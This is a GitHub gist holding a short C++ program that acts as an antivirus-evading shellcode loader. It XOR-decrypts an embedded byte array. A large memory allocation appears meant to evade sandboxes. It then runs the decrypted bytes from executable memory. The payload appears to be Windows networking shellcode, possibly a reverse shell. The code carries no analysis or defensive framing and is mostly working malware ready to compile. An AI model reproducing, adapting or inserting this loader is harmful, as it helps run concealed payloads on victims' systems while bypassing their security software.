Created
September 10, 2016 17:10
-
-
Save FernandoDoming/d1f404e2009f5cf351bad4a9f8388e69 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <iostream> | |
#define TOO_MUCH_MEM 100000000 | |
void decrypt(char * b, char * c, int n) { | |
for (int i = 0; i < n; i++) { | |
c[i] = b[i] ^ 'f'; | |
} | |
} | |
void exec(char * d, int n) { | |
void *exec = VirtualAlloc(0, n, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
if (exec != NULL) { | |
memcpy(exec, d, n); | |
((void(*)())exec)(); | |
} | |
} | |
int main(int argc, char **argv) { | |
char b[] = { 0x9a, 0x8e, 0xe4, 0x66, 0x66, 0x66, 0x06, 0xef, 0x83, 0x57, 0xa6, 0x02, | |
0xed, 0x36, 0x56, 0xed, 0x34, 0x6a, 0xed, 0x34, 0x72, 0xed, 0x14, 0x4e, 0x69, 0xd1, | |
0x2c, 0x40, 0x57, 0x99, 0xca, 0x5a, 0x07, 0x1a, 0x64, 0x4a, 0x46, 0xa7, 0xa9, 0x6b, | |
0x67, 0xa1, 0x84, 0x94, 0x34, 0x31, 0xed, 0x34, 0x76, 0xed, 0x2c, 0x5a, 0xed, 0x2a, | |
0x77, 0x1e, 0x85, 0x2e, 0x67, 0xb7, 0x37, 0xed, 0x3f, 0x46, 0x67, 0xb5, 0xed, 0x2f, | |
0x7e, 0x85, 0x5c, 0x2f, 0xed, 0x52, 0xed, 0x67, 0xb0, 0x57, 0x99, 0xca, 0xa7, 0xa9, | |
0x6b, 0x67, 0xa1, 0x5e, 0x86, 0x13, 0x90, 0x65, 0x1b, 0x9e, 0x5d, 0x1b, 0x42, 0x13, | |
0x82, 0x3e, 0xed, 0x3e, 0x42, 0x67, 0xb5, 0x00, 0xed, 0x6a, 0x2d, 0xed, 0x3e, 0x7a, | |
0x67, 0xb5, 0xed, 0x62, 0xed, 0x67, 0xb6, 0xef, 0x22, 0x42, 0x42, 0x3d, 0x3d, 0x07, | |
0x3f, 0x3c, 0x37, 0x99, 0x86, 0x39, 0x39, 0x3c, 0xed, 0x74, 0x8d, 0xeb, 0x3b, 0x0e, | |
0x55, 0x54, 0x66, 0x66, 0x0e, 0x11, 0x15, 0x54, 0x39, 0x32, 0x0e, 0x2a, 0x11, 0x40, | |
0x61, 0x99, 0xb3, 0xde, 0xf6, 0x67, 0x66, 0x66, 0x4f, 0xa2, 0x32, 0x36, 0x0e, 0x4f, | |
0xe6, 0x0d, 0x66, 0x99, 0xb3, 0x0c, 0x63, 0x0e, 0xa6, 0xce, 0x67, 0xbf, 0x0e, 0x64, | |
0x66, 0x77, 0x3a, 0xef, 0x80, 0x36, 0x36, 0x36, 0x36, 0x26, 0x36, 0x26, 0x36, 0x0e, | |
0x8c, 0x69, 0xb9, 0x86, 0x99, 0xb3, 0xf1, 0x0c, 0x76, 0x30, 0x31, 0x0e, 0xff, 0xc3, | |
0x12, 0x07, 0x99, 0xb3, 0xe3, 0xa6, 0x12, 0x6c, 0x99, 0x28, 0x6e, 0x13, 0x8a, 0x8e, | |
0x07, 0x66, 0x66, 0x66, 0x0c, 0x66, 0x0c, 0x62, 0x30, 0x31, 0x0e, 0x64, 0xbf, 0xae, | |
0x39, 0x99, 0xb3, 0xe5, 0x9e, 0x66, 0x18, 0x50, 0xed, 0x50, 0x0c, 0x26, 0x0e, 0x66, | |
0x76, 0x66, 0x66, 0x30, 0x0c, 0x66, 0x0e, 0x3e, 0xc2, 0x35, 0x83, 0x99, 0xb3, 0xf5, | |
0x35, 0x0c, 0x66, 0x30, 0x35, 0x31, 0x0e, 0x64, 0xbf, 0xae, 0x39, 0x99, 0xb3, 0xe5, | |
0x9e, 0x66, 0x1b, 0x44, 0x3e, 0x0e, 0x66, 0x26, 0x66, 0x66, 0x0c, 0x66, 0x36, 0x0e, | |
0x6d, 0x49, 0x69, 0x56, 0x99, 0xb3, 0x31, 0x0e, 0x13, 0x08, 0x2b, 0x07, 0x99, 0xb3, | |
0x38, 0x38, 0x99, 0x6a, 0x42, 0x8f, 0x17, 0x99, 0x99, 0x99, 0x67, 0xa5, 0x4f, 0xa0, | |
0x13, 0xa1, 0xa5, 0xdd, 0x96, 0xd3, 0xc4, 0x30, 0x0c, 0x66, 0x35, 0x99, 0xb3 }; | |
char c[sizeof b] = { 0 }; | |
char * memdmp = NULL; | |
memdmp = (char *)malloc(TOO_MUCH_MEM); | |
if (memdmp != NULL) { | |
memset(memdmp, 00, TOO_MUCH_MEM); | |
free(memdmp); | |
decrypt(b, c, sizeof b); | |
exec(c, sizeof c); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment